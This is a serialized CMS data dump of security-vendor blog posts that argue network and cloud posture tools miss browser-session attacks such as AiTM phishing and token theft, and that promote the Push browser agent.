headers",{"data":95739,"content":95740,"nodeType":1835},{},[95741],{"data":95742,"content":95743,"nodeType":866},{},[95744],{"data":95745,"marks":95746,"value":95747,"nodeType":865},{},[],"User interaction metadata ",{"data":95749,"content":95750,"nodeType":1869},{},[95751,95761],{"data":95752,"content":95753,"nodeType":1835},{},[95754],{"data":95755,"content":95756,"nodeType":866},{},[95757],{"data":95758,"marks":95759,"value":95760,"nodeType":865},{},[],"Cookie values in transit",{"data":95762,"content":95763,"nodeType":1835},{},[95764],{"data":95765,"content":95766,"nodeType":866},{},[95767],{"data":95768,"marks":95769,"value":95770,"nodeType":865},{},[],"Cookie names and attributes",{"data":95772,"content":95773,"nodeType":1869},{},[95774,95784],{"data":95775,"content":95776,"nodeType":1835},{},[95777],{"data":95778,"content":95779,"nodeType":866},{},[95780],{"data":95781,"marks":95782,"value":95783,"nodeType":865},{},[],"Static JS code",{"data":95785,"content":95786,"nodeType":1835},{},[95787],{"data":95788,"content":95789,"nodeType":866},{},[95790],{"data":95791,"marks":95792,"value":95793,"nodeType":865},{},[],"Script execution patterns and dynamic JS analysis",{"data":95795,"content":95796,"nodeType":953},{},[],{"data":95798,"content":95799,"nodeType":963},{},[95800],{"data":95801,"marks":95802,"value":95804,"nodeType":865},{},[95803],{"type":961},"Securing the browser session is key to stopping modern threats",{"data":95806,"content":95807,"nodeType":866},{},[95808],{"data":95809,"marks":95810,"value":95811,"nodeType":865},{},[],"If the browser is where users actually work, and where attackers actually operate, then that’s the layer that defenders need to understand and control.",{"data":95813,"content":95814,"nodeType":866},{},[95815,95819],{"data":95816,"marks":95817,"value":95818,"nodeType":865},{},[],"Modern web-based attacks don’t succeed because traffic goes uninspected. They succeed because network inspection can’t follow the interaction far enough. Traffic shows where data went, not what the user actually saw or did, ",{"data":95820,"marks":95821,"value":95823,"nodeType":865},{},[95822],{"type":961},"and in today’s attacks, that distinction matters.",{"data":95825,"content":95826,"nodeType":866},{},[95827],{"data":95828,"marks":95829,"value":95830,"nodeType":865},{},[],"To stop these threats, you have to see what the user is actually interacting with. Things like what scripts are loading, how the DOM is being manipulated, or whether the login form a user is using is legitimate or being proxied. Those are page-level signals, and they only exist inside the browser tab.",{"data":95832,"content":95836,"nodeType":925},{"target":95833},{"sys":95834},{"id":95835,"type":922,"linkType":923},"6qMaivxhJ3xT9DkwXGcCSJ",[],{"data":95838,"content":95839,"nodeType":866},{},[95840],{"data":95841,"marks":95842,"value":95843,"nodeType":865},{},[],"That same shift applies to control. Destination-based blocking breaks down when the destination itself appears legitimate. Effective intervention requires decisions based on behavior as it unfolds so teams can stop risky or malicious activity that would compromise an account.",{"data":95845,"content":95846,"nodeType":866},{},[95847],{"data":95848,"marks":95849,"value":95850,"nodeType":865},{},[],"And visibility can’t stop at centrally managed applications. Shadow SaaS breaks any assumption that access patterns are uniform or fully governed by the IdP. Local accounts, duplicate identities, and password-only logins don’t show up clearly in network telemetry, but they materially expand the attack surface. Seeing every login, across every app, directly from the browser is the only way to build an accurate picture of who has access to what.",{"data":95852,"content":95853,"nodeType":1458},{},[95854],{"data":95855,"marks":95856,"value":95858,"nodeType":865},{},[95857],{"type":961},"Push provides the missing context for network security",{"data":95860,"content":95861,"nodeType":866},{},[95862],{"data":95863,"marks":95864,"value":95865,"nodeType":865},{},[],"At this point, the gap should be clear. Network security gives you strong control over traffic, but very little insight into what actually happens once that traffic lands in a user’s browser.",{"data":95867,"content":95868,"nodeType":866},{},[95869],{"data":95870,"marks":95871,"value":95873,"nodeType":865},{},[95872],{"type":961},"This is where Push can help.",{"data":95875,"content":95876,"nodeType":866},{},[95877],{"data":95878,"marks":95879,"value":95880,"nodeType":865},{},[],"The Push browser agent extends monitoring into the browser itself, providing the visibility and control that perimeter-based tools can’t deliver. It doesn’t replace SSE, SWG, or CASB. Those tools remain the right way to manage traffic and enforce policy at the edge. Push complements them by operating in the one place they can’t: inside the live browser session.",{"data":95882,"content":95883,"nodeType":866},{},[95884],{"data":95885,"marks":95886,"value":95887,"nodeType":865},{},[],"Push does this by deploying a browser-native agent, similar in spirit to how EDR works at the host level. That agent gives defenders direct insight into what the network can’t see like the page being rendered, how the user is interacting with it, and the attack techniques that play out entirely within the tab.",{"data":95889,"content":95890,"nodeType":866},{},[95891],{"data":95892,"marks":95893,"value":95894,"nodeType":865},{},[],"With Push deployed, teams gain:",{"data":95896,"content":95897,"nodeType":1049},{},[95898,95913,95928],{"data":95899,"content":95900,"nodeType":1003},{},[95901],{"data":95902,"content":95903,"nodeType":866},{},[95904,95909],{"data":95905,"marks":95906,"value":95908,"nodeType":865},{},[95907],{"type":961},"Real-time, in-browser threat detection:",{"data":95910,"marks":95911,"value":95912,"nodeType":865},{},[]," Detect and stop attacks like AiTM phishing and session hijacking based on what’s actually happening in the browser. Instead of relying on blocklists or downstream signals, Push identifies attacker behavior as it unfolds and can intervene before credentials or session tokens are stolen.",{"data":95914,"content":95915,"nodeType":1003},{},[95916],{"data":95917,"content":95918,"nodeType":866},{},[95919,95924],{"data":95920,"marks":95921,"value":95923,"nodeType":865},{},[95922],{"type":961},"Complete visibility into SaaS access: ",{"data":95925,"marks":95926,"value":95927,"nodeType":865},{},[],"Build a true inventory of user identities and authentication methods across every application in use, including shadow SaaS. Push fills the gaps left by network and IdP logs, giving teams a real picture of where access exists and how it’s being granted.",{"data":95929,"content":95930,"nodeType":1003},{},[95931],{"data":95932,"content":95933,"nodeType":866},{},[95934,95939],{"data":95935,"marks":95936,"value":95938,"nodeType":865},{},[95937],{"type":961},"Streamlined hardening at the point of access:",{"data":95940,"marks":95941,"value":95942,"nodeType":865},{},[]," Use the browser as a control point to enforce secure login behavior everywhere it matters. Mandate MFA, steer users toward SSO, and block risky credentials on unmanaged apps, shifting from reactive cleanup to continuous, preventative hardening.",{"data":95944,"content":95945,"nodeType":866},{},[95946,95950],{"data":95947,"marks":95948,"value":95949,"nodeType":865},{},[],"The result is a unified model and real defense in depth. ",{"data":95951,"marks":95952,"value":95954,"nodeType":865},{},[95953],{"type":961},"Network tools secure the pipeline, and Push secures the user moving through it.",{"data":95956,"content":95957,"nodeType":11214},{},[95958],{"data":95959,"content":95960,"nodeType":866},{},[95961,95964,95970,95973,95979,95982,95988],{"data":95962,"marks":95963,"value":87418,"nodeType":865},{},[],{"data":95965,"content":95966,"nodeType":882},{"uri":22700},[95967],{"data":95968,"marks":95969,"value":87426,"nodeType":865},{},[],{"data":95971,"marks":95972,"value":2186,"nodeType":865},{},[],{"data":95974,"content":95975,"nodeType":882},{"uri":22712},[95976],{"data":95977,"marks":95978,"value":22718,"nodeType":865},{},[],{"data":95980,"marks":95981,"value":22722,"nodeType":865},{},[],{"data":95983,"content":95984,"nodeType":882},{"uri":1728},[95985],{"data":95986,"marks":95987,"value":22730,"nodeType":865},{},[],{"data":95989,"marks":95990,"value":1048,"nodeType":865},{},[],{"data":95992,"content":95995,"nodeType":925},{"target":95993},{"sys":95994},{"id":95480,"type":922,"linkType":923},[],{"data":95997,"content":95998,"nodeType":866},{},[95999],{"data":96000,"marks":96001,"value":21,"nodeType":865},{},[],"Why network and web traffic only gives you part of the picture when it comes to modern browser-based attacks. ",{"items":96004},[96005,96007],{"sys":96006,"name":11426},{"id":11425},{"sys":96008,"name":342},{"id":8410},{"items":96010},[96011],{"fullName":8448,"firstName":8449,"jobTitle":3776,"profilePicture":96012},{"url":8451},{"__typename":1788,"sys":96014,"content":96015,"title":81771,"synopsis":96386,"hashTags":59,"publishedDate":96387,"slug":81772,"tagsCollection":96388,"authorsCollection":96394},{"id":79679},{"json":96016},{"data":96017,"content":96018,"nodeType":1739},{},[96019,96027,96034,96041,96048,96055,96062,96070,96077,96084,96091,96094,96102,96109,96116,96123,96130,96148,96156,96163,96170,96177,96180,96188,96204,96220,96227,96235,96242,96249,96256,96263,96268,96275,96338,96341,96380],{"data":96020,"content":96021,"nodeType":963},{},[96022],{"data":96023,"marks":96024,"value":96026,"nodeType":865},{},[96025],{"type":961},"Cloud security tools ensure secure configurations",{"data":96028,"content":96029,"nodeType":866},{},[96030],{"data":96031,"marks":96032,"value":96033,"nodeType":865},{},[],"If you’re a cloud security architect, you probably don’t think in terms of firewalls and perimeters anymore. You think in control planes. Your job isn’t protecting a box or a subnet; it’s governing a sprawling web of IAM roles, service principals, APIs, and permissions that exist mostly as configuration and code. In this world, the boundary isn’t physical or even networked, it’s defined entirely by how your environment is configured.",{"data":96035,"content":96036,"nodeType":866},{},[96037],{"data":96038,"marks":96039,"value":96040,"nodeType":865},{},[],"The way most teams approached that problem was pragmatic. As cloud environments scaled, it became impossible to secure it by inspection or tribal knowledge. Cloud Security Posture Management tools and, later, Cloud Native Application Protection Platforms emerged to solve a very real problem: visibility and control over cloud configuration at scale. They gave teams a way to continuously assess infrastructure, track misconfigurations, and understand risk across accounts, regions, and services without drowning in raw provider logs.",{"data":96042,"content":96043,"nodeType":866},{},[96044],{"data":96045,"marks":96046,"value":96047,"nodeType":865},{},[],"That capability is important. Without it, cloud security simply doesn’t function. ",{"data":96049,"content":96050,"nodeType":866},{},[96051],{"data":96052,"marks":96053,"value":96054,"nodeType":865},{},[],"CSPM and CNAPP answer the question of “is my cloud environment configured securely?”. They tell you whether an IAM role is too permissive, whether a resource is exposed, or whether a policy violates best practice. They tell you when a user or account is trying to do something they shouldn’t. ",{"data":96056,"content":96057,"nodeType":866},{},[96058],{"data":96059,"marks":96060,"value":96061,"nodeType":865},{},[],"What they don’t answer is a different, increasingly important question: “What happens when attacker behavior is indistinguishable from legitimate user behavior?”",{"data":96063,"content":96064,"nodeType":1458},{},[96065],{"data":96066,"marks":96067,"value":96069,"nodeType":865},{},[96068],{"type":961},"But they can’t stop “legitimate” actions",{"data":96071,"content":96072,"nodeType":866},{},[96073],{"data":96074,"marks":96075,"value":96076,"nodeType":865},{},[],"The gap (or lack of) between legitimate user behavior and malicious abuse is becoming more relevant as cloud breaches change shape. ",{"data":96078,"content":96079,"nodeType":866},{},[96080],{"data":96081,"marks":96082,"value":96083,"nodeType":865},{},[],"In many of today’s incidents, attackers aren’t exploiting misconfigurations or abusing the cloud control plane directly. They’re compromising users. Once an authentication has occurred through illegitimate means, whether phishing, session hijacking, or token theft, the attacker operates entirely within an approved session.",{"data":96085,"content":96086,"nodeType":866},{},[96087],{"data":96088,"marks":96089,"value":96090,"nodeType":865},{},[],"From the perspective of cloud security tooling, very little looks wrong. The identity is valid. The access patterns appear expected. The infrastructure remains correctly configured. As long as the attacker operates within the bounds of what looks “normal”, no alarms are triggered. Meanwhile, sensitive actions are carried out through the browser, using the same interfaces and workflows as a real user.",{"data":96092,"content":96093,"nodeType":953},{},[],{"data":96095,"content":96096,"nodeType":963},{},[96097],{"data":96098,"marks":96099,"value":96101,"nodeType":865},{},[96100],{"type":961},"The gap between the IdP and the final API call — the “missing middle” in your security stack",{"data":96103,"content":96104,"nodeType":866},{},[96105],{"data":96106,"marks":96107,"value":96108,"nodeType":865},{},[],"The browser session sits outside the telemetry and control model of infrastructure-focused cloud security tools. We call this the \"missing middle.\" It’s the space between the IdP login and the final cloud API call. ",{"data":96110,"content":96111,"nodeType":866},{},[96112],{"data":96113,"marks":96114,"value":96115,"nodeType":865},{},[],"In theory, you could try to close the gap by stitching together logs from every SaaS application in your environment. In practice, anyone who’s attempted this knows how quickly it falls apart. ",{"data":96117,"content":96118,"nodeType":866},{},[96119],{"data":96120,"marks":96121,"value":96122,"nodeType":865},{},[],"Each integration is brittle and expensive to maintain, and many applications don’t expose the level of telemetry you actually need, even if you’re willing to fork out for the top Security++ product tier. When you’re dealing with hundreds of apps per enterprise, each with their own configuration complexity, there’s a good chance that your solution focused on “core” cloud apps doesn’t actually have visibility of the full attack surface.",{"data":96124,"content":96125,"nodeType":866},{},[96126],{"data":96127,"marks":96128,"value":96129,"nodeType":865},{},[],"When logs do exist, they rarely show what you actually need. To a CSPM or CNAPP, it looks like an authorized user doing authorized things. A file was accessed or a setting was changed. What those tools can’t see is that the browser session itself was being manipulated in real time.",{"data":96131,"content":96132,"nodeType":866},{},[96133,96136,96144],{"data":96134,"marks":96135,"value":95656,"nodeType":865},{},[],{"data":96137,"content":96138,"nodeType":882},{"uri":8759},[96139],{"data":96140,"marks":96141,"value":96143,"nodeType":865},{},[96142],{"type":997},"modern, cloud-native threat groups",{"data":96145,"marks":96146,"value":96147,"nodeType":865},{},[],", this lack of session-level visibility is their greatest advantage. They bypass the strong configuration and identity controls you’ve already implemented by simply stepping into the authorized stream. And by the time infrastructure-level signals suggest something is wrong, the attacker has already accomplished what they came for.",{"data":96149,"content":96150,"nodeType":1458},{},[96151],{"data":96152,"marks":96153,"value":96155,"nodeType":865},{},[96154],{"type":961},"Secure everything, still lose",{"data":96157,"content":96158,"nodeType":866},{},[96159],{"data":96160,"marks":96161,"value":96162,"nodeType":865},{},[],"At some point, this forces a hard realization: you can do everything “right” at the cloud and identity layers and still lose.",{"data":96164,"content":96165,"nodeType":866},{},[96166],{"data":96167,"marks":96168,"value":96169,"nodeType":865},{},[],"You can lock down infrastructure-as-code, tighten IAM policies, enforce conditional access, and pass every posture check you care about. But none of that changes where access actually happens. When users work in cloud services, they do it through a browser. And once a session is established, that browser session becomes the real control plane.",{"data":96171,"content":96172,"nodeType":866},{},[96173],{"data":96174,"marks":96175,"value":96176,"nodeType":865},{},[],"That’s the shift cloud security teams are running into. The problem isn’t that CSPM or CNAPP failed, it’s that they can’t see the full picture. Bridging the missing middle means treating the browser session itself as something you can inspect and defend.",{"data":96178,"content":96179,"nodeType":953},{},[],{"data":96181,"content":96182,"nodeType":963},{},[96183],{"data":96184,"marks":96185,"value":96187,"nodeType":865},{},[96186],{"type":961},"Why moving detection and response to the browser is the solution",{"data":96189,"content":96190,"nodeType":866},{},[96191,96195,96200],{"data":96192,"marks":96193,"value":96194,"nodeType":865},{},[],"First, ",{"data":96196,"marks":96197,"value":96199,"nodeType":865},{},[96198],{"type":961},"detection has to move into the browser",{"data":96201,"marks":96202,"value":96203,"nodeType":865},{},[],". Modern cloud attacks don’t announce themselves with known indicators or suspicious IPs; it’s all about behavior. A phishing kit rendering inside a login page. A session token being silently exfiltrated. A user interacting with a page that looks legitimate but isn’t. You only see those signals by inspecting the page, the scripts, and the user’s interaction, in real time, inside the tab, before any cloud API ever gets touched.",{"data":96205,"content":96206,"nodeType":866},{},[96207,96211,96216],{"data":96208,"marks":96209,"value":96210,"nodeType":865},{},[],"Second, ",{"data":96212,"marks":96213,"value":96215,"nodeType":865},{},[96214],{"type":961},"posture can’t stop at the IdP or cloud configuration.",{"data":96217,"marks":96218,"value":96219,"nodeType":865},{},[]," It’s not enough to enforce MFA and SSO at a handful of centrally managed apps and assume the rest of the estate follows suit. Shadow SaaS breaks that assumption immediately. Local accounts, duplicate identities, and MFA gaps undermine cloud access controls, even when your AWS or Azure configuration is otherwise airtight. If a sensitive app allows password-only access, that weakness propagates straight back into your cloud environment.",{"data":96221,"content":96222,"nodeType":866},{},[96223],{"data":96224,"marks":96225,"value":96226,"nodeType":865},{},[],"Finally, when something does go wrong, teams need more than a login timestamp and an IP address. They need to know what the user actually saw and did. Click-by-click browser session data is what allows responders to understand intent, scope impact accurately, and determine whether a session was abused or simply used.",{"data":96228,"content":96229,"nodeType":1458},{},[96230],{"data":96231,"marks":96232,"value":96234,"nodeType":865},{},[96233],{"type":961},"Visibility into the browser session holds the answers",{"data":96236,"content":96237,"nodeType":866},{},[96238],{"data":96239,"marks":96240,"value":96241,"nodeType":865},{},[],"If the browser session is where cloud access actually happens, then treating it as a black box is no longer viable.",{"data":96243,"content":96244,"nodeType":866},{},[96245],{"data":96246,"marks":96247,"value":96248,"nodeType":865},{},[],"This is where Push Security fits. Push is designed to cover the missing middle, not by replacing your existing cloud security stack, but by extending it into the one place it can’t reach on its own: the live browser session.",{"data":96250,"content":96251,"nodeType":866},{},[96252],{"data":96253,"marks":96254,"value":96255,"nodeType":865},{},[],"CSPM and CNAPP remain the right tools for securing cloud configuration and infrastructure. They tell you whether IAM policies are sane, resources are exposed, and guardrails are in place. Push addresses a different problem. It focuses on what happens once access is granted, when identity moves from configuration into motion.",{"data":96257,"content":96258,"nodeType":866},{},[96259],{"data":96260,"marks":96261,"value":96262,"nodeType":865},{},[],"Push does this by deploying a browser-native agent, like EDR operates at the host level. That agent gives defenders direct visibility into the application session itself like the page structure being rendered, the user’s interaction with it, and the behaviors attackers rely on when they hijack sessions in real time.",{"data":96264,"content":96267,"nodeType":925},{"target":96265},{"sys":96266},{"id":95835,"type":922,"linkType":923},[],{"data":96269,"content":96270,"nodeType":866},{},[96271],{"data":96272,"marks":96273,"value":96274,"nodeType":865},{},[],"That visibility changes how cloud access can be defended.",{"data":96276,"content":96277,"nodeType":1049},{},[96278,96293,96308,96323],{"data":96279,"content":96280,"nodeType":1003},{},[96281],{"data":96282,"content":96283,"nodeType":866},{},[96284,96289],{"data":96285,"marks":96286,"value":96288,"nodeType":865},{},[96287],{"type":961},"Real-time detection in the browser:",{"data":96290,"marks":96291,"value":96292,"nodeType":865},{},[]," Detect in-browser attacker techniques as they happen, left of boom. Phishing kits rendering inside login flows, session tokens being intercepted, credential submission into lookalike pages — Push observes these behaviors directly and can block them before any cloud API is touched or a console is reached.",{"data":96294,"content":96295,"nodeType":1003},{},[96296],{"data":96297,"content":96298,"nodeType":866},{},[96299,96304],{"data":96300,"marks":96301,"value":96303,"nodeType":865},{},[96302],{"type":961},"Complete visibility into cloud access paths:",{"data":96305,"marks":96306,"value":96307,"nodeType":865},{},[]," Build an accurate inventory of how users are actually accessing cloud services. Push surfaces every application in use, including shadow SaaS, and shows which accounts are local, duplicated, missing MFA, or bypassing SSO — crucial visibility that falls between the cracks of application and identity provider. ",{"data":96309,"content":96310,"nodeType":1003},{},[96311],{"data":96312,"content":96313,"nodeType":866},{},[96314,96319],{"data":96315,"marks":96316,"value":96318,"nodeType":865},{},[96317],{"type":961},"Active hardening at the point of access:",{"data":96320,"marks":96321,"value":96322,"nodeType":865},{},[]," Enforce secure login behavior across the entire application surface, not just centrally managed apps. Push can steer users toward using MFA and SSO and block risky credentials on unmanaged tools, closing identity gaps before they’re exploited.",{"data":96324,"content":96325,"nodeType":1003},{},[96326],{"data":96327,"content":96328,"nodeType":866},{},[96329,96334],{"data":96330,"marks":96331,"value":96333,"nodeType":865},{},[96332],{"type":961},"Session-level context for rapid response:",{"data":96335,"marks":96336,"value":96337,"nodeType":865},{},[]," When something does go wrong, Push provides the missing ground truth. Instead of stitching together partial logs or relying on brittle app-level integrations, responders can see exactly what the user saw and did in the browser (from context generated directly from the browser session itself) making it possible to understand intent, assess scope accurately, and contain a compromised session quickly.",{"data":96339,"content":96340,"nodeType":953},{},[],{"data":96342,"content":96343,"nodeType":11214},{},[96344],{"data":96345,"content":96346,"nodeType":866},{},[96347,96350,96357,96360,96367,96370,96377],{"data":96348,"marks":96349,"value":87418,"nodeType":865},{},[],{"data":96351,"content":96352,"nodeType":882},{"uri":22700},[96353],{"data":96354,"marks":96355,"value":87426,"nodeType":865},{},[96356],{"type":997},{"data":96358,"marks":96359,"value":2186,"nodeType":865},{},[],{"data":96361,"content":96362,"nodeType":882},{"uri":22712},[96363],{"data":96364,"marks":96365,"value":22718,"nodeType":865},{},[96366],{"type":997},{"data":96368,"marks":96369,"value":22722,"nodeType":865},{},[],{"data":96371,"content":96372,"nodeType":882},{"uri":1728},[96373],{"data":96374,"marks":96375,"value":22730,"nodeType":865},{},[96376],{"type":997},{"data":96378,"marks":96379,"value":1048,"nodeType":865},{},[],{"data":96381,"content":96382,"nodeType":866},{},[96383],{"data":96384,"marks":96385,"value":21,"nodeType":865},{},[],"Why cloud security tools only give you part of the picture when it comes to modern attacks. ","2026-02-06T00:00:00.000Z",{"items":96389},[96390,96392],{"sys":96391,"name":11426},{"id":11425},{"sys":96393,"name":342},{"id":8410},{"items":96395},[96396],{"fullName":8448,"firstName":8449,"jobTitle":3776,"profilePicture":96397},{"url":8451},"blog/push-plus-endpoint-security",{"json":96400},{"data":96401,"content":96402,"nodeType":1739},{},[96403],{"data":96404,"content":96405,"nodeType":866},{},[96406],{"data":96407,"marks":96408,"value":96409,"nodeType":865},{},[],"One of the key questions we often hear is \"we've already got EDR, so why do we need to be in the browser too?\". Well, here's the answer!","Why extending detection and response into the browser is crucial in the face of modern attacks that consciously evade the network and endpoint. ",{"id":79665,"publishedAt":96412},"2026-08-13T09:35:41.299Z",{"items":96414},[96415,96417],{"sys":96416,"name":11426},{"id":11425},{"sys":96418,"name":342},{"id":8410},{"items":96420},[96421,96423,96425,96427,96429,96431,96433,96435],{"sys":96422,"name":297,"slug":298,"tier":31},{"id":294},{"sys":96424,"name":279,"slug":280,"tier":31},{"id":276},{"sys":96426,"name":342,"slug":343,"tier":31},{"id":339},{"sys":96428,"name":377,"slug":378,"tier":45},{"id":374},{"sys":96430,"name":261,"slug":262,"tier":45},{"id":258},{"sys":96432,"name":571,"slug":572,"tier":45},{"id":568},{"sys":96434,"name":288,"slug":289,"tier":45},{"id":285},{"sys":96436,"name":315,"slug":316,"tier":45},{"id":312},"JhUSIdUT34jBz7baqPjVEhg0kgv0ylAjyUoc9hrf0Ok",{"id":96439,"title":93817,"authorsCollection":96440,"content":96445,"extension":228,"faqItemsCollection":97170,"faqTitle":59,"featured":6,"hashTags":59,"meta":97172,"metaTitle":97173,"ogImage":59,"postType":21460,"publishedDate":93819,"relatedBlogPostsCollection":97174,"slug":93820,"stem":99761,"subtitle":59,"summary":99762,"synopsis":93818,"sys":99773,"tagsCollection":99775,"topicsCollection":99781,"__hash__":99803},"blog/blog/consentfix-debrief.json",{"items":96441},[96442],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":96443,"profilePicture":96444},[17536],{"url":11434},{"json":96446,"links":97147},{"data":96447,"content":96448,"nodeType":1739},{},[96449,96465,96471,96476,96522,96528,96534,96537,96544,96550,96556,96602,96609,96615,96636,96642,96645,96652,96658,96664,96670,96676,96682,96688,96693,96700,96706,96722,96738,96741,96748,96754,96760,96766,96773,96789,96795,96800,96807,96823,96839,96941,96944,96951,96957,96963,96966,96973,96979,96985,96991,97050,97076,97079,97086,97092,97098,97104,97110,97136,97141],{"data":96450,"content":96451,"nodeType":866},{},[96452,96455,96462],{"data":96453,"marks":96454,"value":93028,"nodeType":865},{},[],{"data":96456,"content":96457,"nodeType":882},{"uri":11102},[96458],{"data":96459,"marks":96460,"value":11095,"nodeType":865},{},[96461],{"type":997},{"data":96463,"marks":96464,"value":93039,"nodeType":865},{},[],{"data":96466,"content":96467,"nodeType":866},{},[96468],{"data":96469,"marks":96470,"value":93046,"nodeType":865},{},[],{"data":96472,"content":96475,"nodeType":925},{"target":96473},{"sys":96474},{"id":93051,"type":922,"linkType":923},[],{"data":96477,"content":96478,"nodeType":866},{},[96479,96482,96489,96492,96499,96502,96509,96512,96519],{"data":96480,"marks":96481,"value":93059,"nodeType":865},{},[],{"data":96483,"content":96484,"nodeType":882},{"uri":93062},[96485],{"data":96486,"marks":96487,"value":93068,"nodeType":865},{},[96488],{"type":997},{"data":96490,"marks":96491,"value":93072,"nodeType":865},{},[],{"data":96493,"content":96494,"nodeType":882},{"uri":93075},[96495],{"data":96496,"marks":96497,"value":29673,"nodeType":865},{},[96498],{"type":997},{"data":96500,"marks":96501,"value":2186,"nodeType":865},{},[],{"data":96503,"content":96504,"nodeType":882},{"uri":93086},[96505],{"data":96506,"marks":96507,"value":93092,"nodeType":865},{},[96508],{"type":997},{"data":96510,"marks":96511,"value":3892,"nodeType":865},{},[],{"data":96513,"content":96514,"nodeType":882},{"uri":69855},[96515],{"data":96516,"marks":96517,"value":93103,"nodeType":865},{},[96518],{"type":997},{"data":96520,"marks":96521,"value":93107,"nodeType":865},{},[],{"data":96523,"content":96524,"nodeType":866},{},[96525],{"data":96526,"marks":96527,"value":93114,"nodeType":865},{},[],{"data":96529,"content":96530,"nodeType":866},{},[96531],{"data":96532,"marks":96533,"value":93121,"nodeType":865},{},[],{"data":96535,"content":96536,"nodeType":953},{},[],{"data":96538,"content":96539,"nodeType":963},{},[96540],{"data":96541,"marks":96542,"value":93132,"nodeType":865},{},[96543],{"type":961},{"data":96545,"content":96546,"nodeType":866},{},[96547],{"data":96548,"marks":96549,"value":93139,"nodeType":865},{},[],{"data":96551,"content":96552,"nodeType":866},{},[96553],{"data":96554,"marks":96555,"value":93146,"nodeType":865},{},[],{"data":96557,"content":96558,"nodeType":866},{},[96559,96562,96569,96572,96579,96582,96589,96592,96599],{"data":96560,"marks":96561,"value":93153,"nodeType":865},{},[],{"data":96563,"content":96564,"nodeType":882},{"uri":93156},[96565],{"data":96566,"marks":96567,"value":70557,"nodeType":865},{},[96568],{"type":997},{"data":96570,"marks":96571,"value":8756,"nodeType":865},{},[],{"data":96573,"content":96574,"nodeType":882},{"uri":29482},[96575],{"data":96576,"marks":96577,"value":29100,"nodeType":865},{},[96578],{"type":997},{"data":96580,"marks":96581,"value":93175,"nodeType":865},{},[],{"data":96583,"content":96584,"nodeType":882},{"uri":70575},[96585],{"data":96586,"marks":96587,"value":70581,"nodeType":865},{},[96588],{"type":997},{"data":96590,"marks":96591,"value":93186,"nodeType":865},{},[],{"data":96593,"content":96594,"nodeType":882},{"uri":8759},[96595],{"data":96596,"marks":96597,"value":93194,"nodeType":865},{},[96598],{"type":997},{"data":96600,"marks":96601,"value":1048,"nodeType":865},{},[],{"data":96603,"content":96604,"nodeType":1458},{},[96605],{"data":96606,"marks":96607,"value":93205,"nodeType":865},{},[96608],{"type":961},{"data":96610,"content":96611,"nodeType":866},{},[96612],{"data":96613,"marks":96614,"value":93212,"nodeType":865},{},[],{"data":96616,"content":96617,"nodeType":1049},{},[96618,96627],{"data":96619,"content":96620,"nodeType":1003},{},[96621],{"data":96622,"content":96623,"nodeType":866},{},[96624],{"data":96625,"marks":96626,"value":93225,"nodeType":865},{},[],{"data":96628,"content":96629,"nodeType":1003},{},[96630],{"data":96631,"content":96632,"nodeType":866},{},[96633],{"data":96634,"marks":96635,"value":93235,"nodeType":865},{},[],{"data":96637,"content":96638,"nodeType":866},{},[96639],{"data":96640,"marks":96641,"value":93242,"nodeType":865},{},[],{"data":96643,"content":96644,"nodeType":953},{},[],{"data":96646,"content":96647,"nodeType":963},{},[96648],{"data":96649,"marks":96650,"value":93253,"nodeType":865},{},[96651],{"type":961},{"data":96653,"content":96654,"nodeType":866},{},[96655],{"data":96656,"marks":96657,"value":93260,"nodeType":865},{},[],{"data":96659,"content":96660,"nodeType":866},{},[96661],{"data":96662,"marks":96663,"value":93267,"nodeType":865},{},[],{"data":96665,"content":96666,"nodeType":866},{},[96667],{"data":96668,"marks":96669,"value":93274,"nodeType":865},{},[],{"data":96671,"content":96672,"nodeType":866},{},[96673],{"data":96674,"marks":96675,"value":93281,"nodeType":865},{},[],{"data":96677,"content":96678,"nodeType":866},{},[96679],{"data":96680,"marks":96681,"value":93288,"nodeType":865},{},[],{"data":96683,"content":96684,"nodeType":866},{},[96685],{"data":96686,"marks":96687,"value":93295,"nodeType":865},{},[],{"data":96689,"content":96692,"nodeType":925},{"target":96690},{"sys":96691},{"id":70414,"type":922,"linkType":923},[],{"data":96694,"content":96695,"nodeType":1458},{},[96696],{"data":96697,"marks":96698,"value":93308,"nodeType":865},{},[96699],{"type":961},{"data":96701,"content":96702,"nodeType":866},{},[96703],{"data":96704,"marks":96705,"value":93315,"nodeType":865},{},[],{"data":96707,"content":96708,"nodeType":866},{},[96709,96712,96719],{"data":96710,"marks":96711,"value":93322,"nodeType":865},{},[],{"data":96713,"content":96714,"nodeType":882},{"uri":11102},[96715],{"data":96716,"marks":96717,"value":93330,"nodeType":865},{},[96718],{"type":997},{"data":96720,"marks":96721,"value":93334,"nodeType":865},{},[],{"data":96723,"content":96724,"nodeType":866},{},[96725,96728,96735],{"data":96726,"marks":96727,"value":93341,"nodeType":865},{},[],{"data":96729,"content":96730,"nodeType":882},{"uri":93344},[96731],{"data":96732,"marks":96733,"value":93350,"nodeType":865},{},[96734],{"type":997},{"data":96736,"marks":96737,"value":93354,"nodeType":865},{},[],{"data":96739,"content":96740,"nodeType":953},{},[],{"data":96742,"content":96743,"nodeType":963},{},[96744],{"data":96745,"marks":96746,"value":93365,"nodeType":865},{},[96747],{"type":961},{"data":96749,"content":96750,"nodeType":866},{},[96751],{"data":96752,"marks":96753,"value":93372,"nodeType":865},{},[],{"data":96755,"content":96756,"nodeType":866},{},[96757],{"data":96758,"marks":96759,"value":93379,"nodeType":865},{},[],{"data":96761,"content":96762,"nodeType":866},{},[96763],{"data":96764,"marks":96765,"value":93386,"nodeType":865},{},[],{"data":96767,"content":96768,"nodeType":1458},{},[96769],{"data":96770,"marks":96771,"value":93394,"nodeType":865},{},[96772],{"type":961},{"data":96774,"content":96775,"nodeType":866},{},[96776,96779,96786],{"data":96777,"marks":96778,"value":93401,"nodeType":865},{},[],{"data":96780,"content":96781,"nodeType":882},{"uri":93062},[96782],{"data":96783,"marks":96784,"value":93409,"nodeType":865},{},[96785],{"type":997},{"data":96787,"marks":96788,"value":93413,"nodeType":865},{},[],{"data":96790,"content":96791,"nodeType":866},{},[96792],{"data":96793,"marks":96794,"value":93420,"nodeType":865},{},[],{"data":96796,"content":96799,"nodeType":925},{"target":96797},{"sys":96798},{"id":69516,"type":922,"linkType":923},[],{"data":96801,"content":96802,"nodeType":1458},{},[96803],{"data":96804,"marks":96805,"value":93433,"nodeType":865},{},[96806],{"type":961},{"data":96808,"content":96809,"nodeType":866},{},[96810,96813,96820],{"data":96811,"marks":96812,"value":93440,"nodeType":865},{},[],{"data":96814,"content":96815,"nodeType":882},{"uri":93443},[96816],{"data":96817,"marks":96818,"value":93449,"nodeType":865},{},[